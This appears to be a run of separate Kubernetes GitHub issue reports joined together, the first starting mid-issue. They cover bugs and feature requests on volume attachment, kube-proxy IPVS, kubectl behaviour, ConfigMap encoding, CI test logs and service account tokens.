if you don't act manually on it it will continue to be reconciled by  reconciler.go  and will never come back again.\r \r the issue seems to be on  actual_state_of_world.go  while doing the  markvolumeasattached  part, at some point the devicepath string is not written in the object.\r \r    \r actual_state_of_world.go:616 ->\r   reconciler.go:238 ->\r     operation_executor.go:712 ->\r        operation_generator.go:437 -> error on line 496\r    \r \r   what you expected to happen  :\r \r the pod comes back with no error.\r \r   how to reproduce it  as minimally and precisely as possible   :\r the problem seems to be difficult to reproduce, i can trigger it after the \r upgrading to 1.11 does not solve the problem.\r it does not happen on deployments, i haven't been able to reproduce there.\r \r - start a kubernetes cluster on aws that is configured to use ebs volumes\r - create a statefulset with a dynamic provisioned volume  see yaml file below \r - delete one of the pods of your choice\r \r at this point one of two things can happen:\r - it just works\r or\r - the pod is not able to come back again and  give the error i reported above.\r \r i haven't found a reliable way to make one or the other happen when i wanted, it seems to be very random but i'm sure that it only happens when the pod is recreated on the same node.\r \r \r \r \r statefulset to reproduce\r    yaml\r apiversion: v1\r kind: namespace\r metadata:\r   name: repro-devicepath\r ---\r apiversion: apps/v1\r kind: statefulset\r metadata:\r   name: myrepro\r   namespace: repro-devicepath\r   labels:\r     component: myrepro\r spec:\r   servicename: myrepro\r   selector:\r     matchlabels:\r       component: myrepro\r   replicas: 4\r   template:\r     metadata:\r       name: myrepro\r       labels:\r         component: myrepro\r     spec:\r       containers:\r         - name: myrepro\r           image: docker.io/fntlnz/caturday:latest\r           volumemounts:\r             - name: data\r               mountpath: /data\r   volumeclaimtemplates:\r   - metadata:\r       namespace: repro-devicepath\r       name: data\r     spec:\r       storageclassname: ebs-1\r       accessmodes:\r         - \ readwriteonce\ \r       resources:\r         requests:\r           storage: 1gi\r    \r \r \r   anything else we need to know?  :\r \r when this happens, if one looks at  devicepath  in the node's status it will be reported empty, one can verify that with:\r \r    bash\r  kubectl get node -o json | jq \ .items  .status.volumesattached\  \r    \r \r i found some other users on slack that have this problem, @wirewc sent me this  note the empty  devicepath  happening in his system.\r \r    \r  volumesattached:\r  - devicepath: \ \ \r    name: kubernetes.io/iscsi/10.48.147.131:iqn.2016-12.org.gluster-block:b5a96cbd-926b-421f-922b-4df13ca150e0:0\r  volumesinuse:\r  - kubernetes.io/iscsi/10.48.147.131:iqn.2016-12.org.gluster-block:b5a96cbd-926b-421f-922b-4df13ca150e0:0\r  - kubernetes.io/iscsi/pvc-bb8b444f-9a68-11e8-b661-0050569c4ace:pvc-bb8b444f-9a68-11e8-b661-0050569c4ace:0\r    \r \r also @ntfrnzn detailed a similar issue here: https://github.com/packethost/csi-packet/issues/8\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:17:39z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:05:37z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r i'm hitting this on a production cluster on 1.10.3 but i get the same error on a testing cluster that has 1.11\r \r - cloud provider or hardware configuration: aws, deployed using kubeadm\r - os  e.g. from /etc/os-release :\r \r    \r name=\ container linux by coreos\ \r id=coreos\r version=1800.6.0\r version_id=1800.6.0\r build_id=2018-08-04-0323\r pretty_name=\ container linux by coreos 1800.6.0  rhyolite \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r    \r - kernel  e.g.  uname -a  :  linux ip-180-12-0-57 4.14.59-coreos-r2  1 smp sat aug 4 02:49:25 utc 2018 x86_64 intel r  xeon r  platinum 8175m cpu @ 2.50ghz genuineintel gnu/linux \r - install tools:\r - others:\r

sorry if this is a dupe \r \r on https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/69044/pull-kubernetes-integration/28676/ the failure is reported as:\r \r    \r test failures\r test-cmd run_recursive_resources_tests 9.06s\r \r go run hack/e2e.go -v --test --test_args='--ginkgo.focus=test\\-cmd\\srun\\_recursive\\_resources\\_tests$'\r \r error: error validating \ hack/testdata/recursive/rc/rc/busybox-broken.yaml\ : error validating data: kind not set; if you choose to ignore these errors, turn validation off with --validate=false\r error: error validating \ hack/testdata/recursive/deployment/deployment/nginx-broken.yaml\ : error validating data: kind not set; if you choose to ignore these errors, turn validation off with --validate=false\r warning: immediate deletion does not wait for confirmation that the running resource has been terminated. the resource may continue to run on the cluster indefinitely.\r error: unable to decode \ hack/testdata/recursive/deployment/deployment/nginx-broken.yaml\ : object 'kind' is missing in '{\ apiversion\ :\ extensions/v1beta1\ ,\ ind\ :\ deployment\ ,\ metadata\ :{\ labels\ :{\ app\ :\ nginx2-deployment\ },\ name\ :\ nginx2-deployment\ },\ spec\ :{\ replicas\ :2,\ template\ :{\ metadata\ :{\ labels\ :{\ app\ :\ nginx2\ }},\ spec\ :{\ containers\ : {\ image\ :\ k8s.gcr.io/nginx:1.7.9\ ,\ name\ :\ nginx\ ,\ ports\ : {\ containerport\ :80} } }}}}'\r error: error validating \ hack/testdata/recursive/rc/rc/busybox-broken.yaml\ : error validating data: kind not set; if you choose to ignore these errors, turn validation off with --validate=false\r !!!  0926 01:04:33  call tree:\r !!!  0926 01:04:33   1: /go/src/k8s.io/kubernetes/test/cmd/../../third_party/forked/shell2junit/sh2ju.sh:47 run_recursive_resources_tests ... \r !!!  0926 01:04:33   2: /go/src/k8s.io/kubernetes/test/cmd/../../third_party/forked/shell2junit/sh2ju.sh:112 eval ... \r !!!  0926 01:04:33   3: /go/src/k8s.io/kubernetes/test/cmd/legacy-script.sh:133 julog ... \r !!!  0926 01:04:33   4: /go/src/k8s.io/kubernetes/test/cmd/legacy-script.sh:525 record_command ... \r !!!  0926 01:04:33   5: hack/make-rules/test-cmd.sh:109 runtests ... \r \t\t\t\t\r error: error validating \ hack/testdata/recursive/rc/rc/busybox-broken.yaml\ : error validating data: kind not set; if you choose to ignore these errors, turn validation off with --validate=false\r error: error validating \ hack/testdata/recursive/deployment/deployment/nginx-broken.yaml\ : error validating data: kind not set; if you choose to ignore these errors, turn validation off with --validate=false\r warning: immediate deletion does not wait for confirmation that the running resource has been terminated. the resource may continue to run on the cluster indefinitely.\r error: unable to decode \ hack/testdata/recursive/deployment/deployment/nginx-broken.yaml\ : object 'kind' is missing in '{\ apiversion\ :\ extensions/v1beta1\ ,\ ind\ :\ deployment\ ,\ metadata\ :{\ labels\ :{\ app\ :\ nginx2-deployment\ },\ name\ :\ nginx2-deployment\ },\ spec\ :{\ replicas\ :2,\ template\ :{\ metadata\ :{\ labels\ :{\ app\ :\ nginx2\ }},\ spec\ :{\ containers\ : {\ image\ :\ k8s.gcr.io/nginx:1.7.9\ ,\ name\ :\ nginx\ ,\ ports\ : {\ containerport\ :80} } }}}}'\r error: error validating \ hack/testdata/recursive/rc/rc/busybox-broken.yaml\ : error validating data: kind not set; if you choose to ignore these errors, turn validation off with --validate=false\r !!!  0926 01:04:33  call tree:\r !!!  0926 01:04:33   1: /go/src/k8s.io/kubernetes/test/cmd/../../third_party/forked/shell2junit/sh2ju.sh:47 run_recursive_resources_tests ... \r !!!  0926 01:04:33   2: /go/src/k8s.io/kubernetes/test/cmd/../../third_party/forked/shell2junit/sh2ju.sh:112 eval ... \r !!!  0926 01:04:33   3: /go/src/k8s.io/kubernetes/test/cmd/legacy-script.sh:133 julog ... \r !!!  0926 01:04:33   4: /go/src/k8s.io/kubernetes/test/cmd/legacy-script.sh:525 record_command ... \r !!!  0926 01:04:33   5: hack/make-rules/test-cmd.sh:109 runtests ... \r \r \t\t\t\tfrom junit_test-cmd.xml\r \r filter through log files | view test history on testgrid \r    \r \r after some effort sifting through i was able to determine the actual failure:\r \r    \r i0926 01:04:32.215  has:object 'kind' is missing\r i0926 01:04:32.215  deployment.extensions \ nginx1-deployment\  force deleted\r i0926 01:04:32.216  deployment.extensions \ nginx0-deployment\  force deleted\r i0926 01:04:33.204  generic-resources.sh:424: successful get rc {{range.items}}{{.metadata.name}}:{{end}}: \r i0926 01:04:33.345  \u001b breplicationcontroller/busybox0 created\r i0926 01:04:33.348  replicationcontroller/busybox1 created\r i0926 01:04:33.443  generic-resources.sh:428: successful get rc {{range.items}}{{.metadata.name}}:{{end}}: busybox0:busybox1:\r i0926 01:04:33.531  \u001b bfail!\r i0926 01:04:33.532  message:no rollbacker has been implemented for \ replicationcontroller\ \r i0926 01:04:33.532  no rollbacker has been implemented for \ replicationcontroller\ \r i0926 01:04:33.532  unable to decode \ hack/testdata/recursive/rc/rc/busybox-broken.yaml\ : object 'kind' is missing in '{\ apiversion\ :\ v1\ ,\ ind\ :\ replicationcontroller\ ,\ metadata\ :{\ labels\ :{\ app\ :\ busybox2\ },\ name\ :\ busybox2\ },\ spec\ :{\ replicas\ :1,\ selector\ :{\ app\ :\ busybox2\ },\ template\ :{\ metadata\ :{\ labels\ :{\ app\ :\ busybox2\ },\ name\ :\ busybox2\ },\ spec\ :{\ containers\ : {\ command\ : \ sleep\ ,\ 3600\  ,\ image\ :\ busybox\ ,\ imagepullpolicy\ :\ ifnotpresent\ ,\ name\ :\ busybox\ } ,\ restartpolicy\ :\ always\ }}}}'\r i0926 01:04:33.532  has not:no rollbacker has been implemented for {\ \  \ replicationcontroller\ }\r i0926 01:04:33.533  433 /go/src/k8s.io/kubernetes/test/cmd/../../test/cmd/generic-resources.sh\r i0926 01:04:33.569  +++ exit code: 1\r i0926 01:04:33.575  +++ error: 1\r i0926 01:04:33.606  error when running run_recursive_resources_tests\r    \r \r the important part being:\r \r    \r i0926 01:04:33.532  has not:no rollbacker has been implemented for {\ \  \ replicationcontroller\ }\r i0926 01:04:33.533  433 /go/src/k8s.io/kubernetes/test/cmd/../../test/cmd/generic-resources.sh\r    \r \r it would be really helpful if the failure message told me to look at  test/cmd/generic-resources.sh:433  without having to dig through the build log.\r \r xref: https://github.com/kubernetes/test-infra/issues/9585  69044 \r 

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r   /area ipvs\r /area ipv6\r \r   what happened  :\r \r  kube-proxy  with ipvs mode creates a  kube-ipvs0  interface for binding service ips.\r \r    \r ip addr show kube-ipvs0\r 5: kube-ipvs0: <broadcast,noarp,up,lower_up> mtu 1500 qdisc noqueue state unknown group default \r     link/ether 1a:ab:99:c0:a2:0d brd ff:ff:ff:ff:ff:ff\r     inet 10.3.0.10/32 brd 10.3.0.10 scope global kube-ipvs0\r        valid_lft forever preferred_lft forever\r     inet 10.3.0.1/32 brd 10.3.0.1 scope global kube-ipvs0\r        valid_lft forever preferred_lft forever\r     inet6 fe80::18ab:99ff:fec0:a20d/64 scope link \r        valid_lft forever preferred_lft forever\r    \r \r kube-proxy periodically  tries to unbind  https://github.com/kubernetes/kubernetes/blob/v1.12.1/pkg/proxy/ipvs/proxier.go l1583  addresses it doesn't know about from the interface. it tries to unbind the ipv6 address over and over.\r \r    \r failed to unbind service addr fe80::18ab:99ff:fec0:a20d from dummy interface kube-ipvs0: error unbind address: fe80::18ab:99ff:fec0:a20d from interface: kube-ipvs0, err: cannot assign requested address\r    \r \r the error is a little vague, but see below. the ip parsing or address deletion code  here  https://github.com/kubernetes/kubernetes/blob/v1.12.1/pkg/proxy/ipvs/netlink_linux.go l61  may be a suspect.\r \r   what you expected to happen  :\r \r either ignore the ipv6 address on the interface  its not hurting anything  or remove it correctly. \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r its perfectly natural for a new interface to have an inet6 address by default.\r \r    \r sudo ip link add name eth99 type dummy\r    \r \r if for some reason your  kube-ipvs0  interface doesn't have a similar address, you can add one to repro.\r \r    \r sudo ip addr add fe80::4482:f7ff:fe36:3e6d/64 dev kube-ipvs0\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.12.1\r - cloud provider or hardware configuration: aws, gcp, digitalocean, bare-metal, azure\r - os  e.g. from /etc/os-release : container linux 1855.4.0\r - kernel  e.g.  uname -a  : 4.14.67-coreos\r - install tools: typhoon\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r ~~~\r root@erkan0:~  kubectl version\r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.2\ , gitcommit:\ cff46ab41ff0bb44d8584413b598ad8360ec1def\ , gittreestate:\ clean\ , builddate:\ 2019-01-10t23:35:51z\ , goversion:\ go1.11.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.2\ , gitcommit:\ cff46ab41ff0bb44d8584413b598ad8360ec1def\ , gittreestate:\ clean\ , builddate:\ 2019-01-10t23:28:14z\ , goversion:\ go1.11.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r root@erkan0:~  kubectl explain deploy | head -n 2\r kind:     deployment\r version:  extensions/v1beta1\r \r ~~~\r \r   what happened  :\r \r the version shown in  kubectl explain deploy  shows extensions/v1beta1 instead of apps/v1\r \r   what you expected to happen  :\r \r i'm expecting apps/v1\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r as shown above\r \r   anything else we need to know?  :\r \r   environment  :\r \r - kubernetes version  use  kubectl version  :\r \r ~~~\r  kubectl version\r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.2\ , gitcommit:\ cff46ab41ff0bb44d8584413b598ad8360ec1def\ , gittreestate:\ clean\ , builddate:\ 2019-01-10t23:35:51z\ , goversion:\ go1.11.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.2\ , gitcommit:\ cff46ab41ff0bb44d8584413b598ad8360ec1def\ , gittreestate:\ clean\ , builddate:\ 2019-01-10t23:28:14z\ , goversion:\ go1.11.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r ~~~\r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r  cat /etc/os-release \r name=\ ubuntu\ \r version=\ 16.04.5 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.5 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r \r - kernel  e.g.  uname -a  :\r \r linux erkan0 4.4.0-140-generic  166-ubuntu smp wed nov 14 20:09:47 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r kubeadm\r \r - others:\r

what happened  :\r \r in recent pull-kubernetes-verify runs, i see:\r \r    \r +++ running case: verify.symbols \r +++ working dir: /home/prow/go/src/k8s.io/kubernetes\r +++ command: bash \ hack/make-rules/../../hack/verify-symbols.sh\ \r +++  0516 15:44:46  building go targets for linux/amd64:\r     cmd/hyperkube\r nm: /home/prow/go/src/k8s.io/kubernetes/_output/local/bin/linux/amd64/hyperkube: no symbols\r    \r \r   what you expected to happen  :\r \r  verify-symbols.sh  was written to verify certain symbols do not appear in our builds, but it appears our builds  or, at least the hypercube build it uses  don't have symbols in them, so there is nothing for it to verify.\r \r since the hypercube build done by the script has a cost associated with it, we should only do it if we're going to get some benefit, and without any symbol tables in the binary, we're currently not.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r  hack/verify-symbols.sh \r \r cc @sttts @thockin \r \r 

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. : no\r \r   note:   please file issues for subcomponents under the appropriate repo\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  |\r | kubeadm   |  kubernetes/kubeadm  https://github.com/kubernetes/kubeadm/issues/new  |\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : libcontainer/selinux, selinux\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : master\r \r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r i tried building the latest code with some private tools.  i had a problem because  pkg/util/selinux/selinux_linux.go  imports  github.com/opencontainers/runc/libcontainer/selinux  but that does not exist any more.  see https://github.com/opencontainers/runc/pull/1365/files .  it appears the correct reference is now to github.com/opencontainers/selinux/go-selinux .\r \r   what you expected to happen  :\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r \r

is this a bug report or feature request?  :\r \r   \r   descriptions  :\r \r according to the discussion at https://github.com/kubernetes/kubernetes/pull/50185 , we'll move the node condition filter into a new predicates; and use feature gate to turn-off/on it.\r \r /cc @gmarek @kubernetes/sig-scheduling-misc \r

\r \r hello, i am try to find solution to import/export data with kubernetes, and the backup/restore full kubernetes.\r \r the real production usage will be very often require to backup important data. kubernetes need backup .\r \r or if the machine down. the datacenter attacked by the earth quake. we will lost everything.\r \r so we need back/restore, import/export.

this is to help administrator to bypass the initializers. for example, the admin can create a rs with:\r    yaml\r apiversion: extensions/v1beta1\r kind: replicaset\r metadata:\r   name: bypassing-initializers\r   initializers:\r     pending:   \r spec:\r   template:\r     metadata:\r       initializers:\r         pending:   \r ...\r    \r the creation of replicaset bypasses the initializers, and    when the replicaset creates pods, it will bypass the initilaizers as well.   \r currently this is not supported, because the template.metadata.initializers are  not respected  https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/controller_utils.go l539-l541 .\r \r caveats:\r   if admins creates a deployment and there are initializers for replicaset, there is no way to bypass it.\r   we need to verify if the user has \ initialize\  permission if the user creates a controller with non-empty  template.metadata.initializers.\r \r cc @smarterclayton @lavalamp

failure cluster  f2cf02eef5fcff71c670  https://go.k8s.io/triage f2cf02eef5fcff71c670        error text:     error during ./hack/ginkgo-e2e.sh --ginkgo.skip=\\ slow\\ |\\ serial\\ |\\ disruptive\\ |\\ flaky\\ |\\ feature:.+\\  --kubectl-path=../../../../kubernetes_skew/cluster/kubectl.sh --minstartuppods=8 --report-dir=/workspace/_artifacts --disable-log-dump=true: exit status 1           failure cluster statistics: 1 tests failed,    17 jobs failed,    101 builds failed. failure stats cover 1 day time range '15 sep 2017 20:48 utc' to '16 sep 2017 20:48 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | test | 17 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gke-gci-stable3-gci-stable1-upgrade-master | 11 |  16 sep 2017 18:08 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-stable3-gci-stable1-upgrade-master/1052  | | ci-kubernetes-e2e-gce-1-6-1-7-upgrade-cluster | 11 |  16 sep 2017 17:51 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-1-6-1-7-upgrade-cluster/2074  | | ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-parallel | 10 |  16 sep 2017 16:35 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-parallel/2018  |   current status  https://go.k8s.io/triage f2cf02eef5fcff71c670

\r  /area cloudprovider\r \r we should add docs to the ccm that explains the conditions under which a node will be excluded from receiving traffic. it's fairly magical right now.\r \r  code  https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/service/service_controller.go l587 \r \r cc @andrewsykim

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r \r   what happened  : when i'm trying to create a configmap object with a text file encoded by gbk or gb2312 by running the following command, \r \r    \r kubectl create configmap test-conf --from-file ./some-gbk-file.txt\r    \r \r it seems k8s read and treat it as a utf-8 text file and all chinese chars in this file, which i read by mount the configmap into a container in k8s, have been transformed to u+fffd —— the replacement character in utf-8, witch looks like '锟斤拷锟斤拷锟斤拷' in gbk.\r \r   in addition  :\r \r before creating the configmap:\r    shell\r some_pc$ file some-gbk-file.txt\r some-gbk-file.txt: algol 68 source, iso-8859 text, with crlf line terminators\r    \r after creating the configmap and mount it into a container:\r    shell\r in-container$ file some-gbk-file.txt\r some-gbk-file.txt: utf-8 unicode text, with crlf line terminators\r    \r \r \r   what you expected to happen  : \r - it will be nice if configmap can create by gbk file  transform it into utf-8? or not, just return false with an error, or a warning, rather than just read it as a utf-8 file anyway \r - it will be nicer if configmap can create by gbk file and remain as a gbk file when put it into container\r \r   how to reproduce it  as minimally and precisely as possible   :\r    shell\r export lc_all=\ en_us.utf-8\ \r echo \ 测试\  > utf8-file.txt\r iconv -f utf-8 -t gbk utf8-file.txt -o gbk-file.txt\r kubectl create configmap test-conf --from-file gbk-file.txt\r kubectl get configmap test-conf -o yaml > bad-gbk-file.txt\r cat gbk-file.txt bad-gbk-file.txt   looks different.\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r > client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-15t21:07:38z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r > server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-15t20:55:30z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration: vmware virtual machine\r - os  e.g. from /etc/os-release : centos linux release 7.4.1708\r - kernel  e.g.  uname -a  : linux glsserver-5776b9b9bc-c75vs 3.10.0-327.el7.x86_64  1 smp thu nov 19 22:10:57 utc 2015 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubeadm\r - others: nope\r sig/cli

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r  kubectl create -f  tab   failed with the following message:  kubectl create -f __create_handle_filename_extension_flag: command not found \r \r @kubernetes/sig-cli-bugs \r \r   what you expected to happen  :\r it should list filenames.\r \r   how to reproduce it  as minimally and precisely as possible   :\r    console\r $ source < kubectl completion bash \r $ kubectl create -f  tab \r    \r \r it's a regression. this worked before 1.10.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-beta.0.807+744b5d3357cd14-dirty\ , gitcommit:\ 744b5d3357cd148faf6f03e7a188d4113d931b8c\ , gittreestate:\ dirty\ , builddate:\ 2018-02-27t19:24:07z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-beta.0.807+744b5d3357cd14-dirty\ , gitcommit:\ 744b5d3357cd148faf6f03e7a188d4113d931b8c\ , gittreestate:\ dirty\ , builddate:\ 2018-02-27t19:24:07z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : ubuntu\r - kernel  e.g.  uname -a  : \r - install tools:\r - others:\r

now gc controller only ignore some resources but many others should also ignored. such as secretes configmaps, serviceaccounts...

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r \r   what happened  :\r cadvisor has a  docker-only  option to only collect docker related cgroups.\r kubelet stats api now supports allocatable cgroup, /kubepods, for the runtime cgroup and the kubelet cgroup. but with  docker-only  settings, kubelet stats api can not query pod related cgroups metrics.\r \r fyi:\r   https://github.com/kubernetes/kubernetes/pull/58006 issuecomment-369064879\r   https://github.com/kubernetes/kubernetes/pull/58006 issuecomment-369482197\r   https://github.com/kubernetes/kubernetes/pull/58006 discussion_r177321208\r \r   what you expected to happen  :\r  docker-only  should be compatible with kubelet stats api.\r

this issue is mostly to gather my notes. we need to complete a set of tasks to phase out the old service account token secrets. we'll have to complete these tasks over the course of a multiple release timeline in order to comply with our deprecation policy.\r \r breaking changes:\r 1. service account token will need to be reloaded\r 1. service account secrets will no longer be created automatically\r \r tasks:\r 1. inclusterconfig and tokenfile config needs to reload credentials periodically.\r 1. serviceaccountadmissioncontroller needs to use a projectedvolume instead of a secretvolume.\r 1. we need to figure out what to do about the ca.crt.  ??? \r 1. tokencontroller needs to be turned down.\r \r  \r @liggitt @smarterclayton

what would you like to be added  :\r provide necessary abstraction between the two roundrobin files so that common logic is reused\r \r   why is this needed  :\r the two files, one from pkg/proxy/userspace and one from pkg/proxy/winuserspace, are very similar.\r if there is bug fixed in one file, similar fix should be applied to the other file. however, the second fix may be omitted.

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r does kubelet have http debug interface?\r \r   why is this needed  :\r when kubelet or dockerd or node is notready, we want to know the important cache in kubelet, like pod inof,  pod status, containers..etc. these info can help to locate bugs.\r maybe k8s can add an http interface to save this memory status in file without restarting kubelet.

client version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.4+3eed1e3\ , gitcommit:\ 3eed1e3be6848b877ff80a93da3785d9034d0a4f\ , gittreestate:\ not a git tree\ } server version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.4\ , gitcommit:\ 3eed1e3be6848b877ff80a93da3785d9034d0a4f\ , gittreestate:\ clean\ }        current setup  :  kubernetes ->  apache <-> nexus docker     steps  :  create a private registry secret as per the  docs  http://kubernetes.io/docs/user-guide/images/ pre-pulling-images   kubectl create -f nginx.yml       apiversion: v1 kind: pod metadata:   name: web spec:   containers:     - name: web       image: nexus.mydomain.co.uk/nginx       ports:         - containerport: 80           hostport: 80   imagepullsecrets:     - name: nexuskey       kubectl describe pod web     output  :  some details obfuscated.  > name:     web > namespace:    default > node:     ip-172-x-x-x.eu-west-1.compute.internal/172.x.x.x > start time:   thu, 23 jun 2016 09:20:39 +0100 > labels:       <none> > status:       pending > ip:       10.x.x.x > controllers:  <none> > containers: >   web: >     container id: >     image:        nexus.mydomain.co.uk/nginx >     image id: >     port:     80/tcp >     qos tier: >       memory: besteffort >       cpu:    burstable >     requests: >       cpu:        100m >     state:        waiting >       reason:     errimagepull >     ready:        false >     restart count:    0 >     environment variables: > conditions: >   type        status >   ready   false > volumes: >   default-token-qe8sr: >     type: secret  a volume populated by a secret  >     secretname:   default-token-qe8sr > events: >   firstseen   lastseen    count   from                            subobjectpath       type        reason      message > --- >  >   14s     14s     1   {default-scheduler }                                normal      scheduled   successfully assigned web to ip-172-x-x-x.eu-west-1.compute.internal >   14s     14s     1   {kubelet ip-172-x-x-x.eu-west-1.compute.internal}   spec.containers{web}    normal      pulling     pulling image \ nexus.mydomain.co.uk/nginx\  >   12s     12s     1   {kubelet ip-172-x-x-x.eu-west-1.compute.internal}   spec.containers{web}    warning     failed      failed to pull image \ nexus.mydomain.co.uk/nginx\ : could not reach any registry endpoint >   12s     12s     1   {kubelet ip-172-x-x-x.eu-west-1.compute.internal}               warning     failedsync  error syncing pod, skipping: failed to \ startcontainer\  for \ web\  with errimagepull: \ could not reach any registry endpoint\  >  >   12s 12s 1   {kubelet ip-172-x-x-x.eu-west-1.compute.internal}   spec.containers{web}    normal  backoff     back-off pulling image \ nexus.mydomain.co.uk/nginx\  >   12s 12s 1   {kubelet ip-172-x-x-x.eu-west-1.compute.internal}               warning failedsync  error syncing pod, skipping: failed to \ startcontainer\  for \ web\  with imagepullbackoff: \ back-off pulling image \\\ nexus.mydomain.co.uk/nginx\\\ \     facts  :  kubernetes makes a get request to nexus for the manifest, we see a status 200 in apache access log  and nexus :  > \ get /v2/nginx/manifests/latest http/1.1\  200 1956  however, at this point i would expect kubernetes to start requesting the blobs, but what's actually happening is k8s then makes the following request.  > /v1/repositories/nginx/images http/1.1\  200 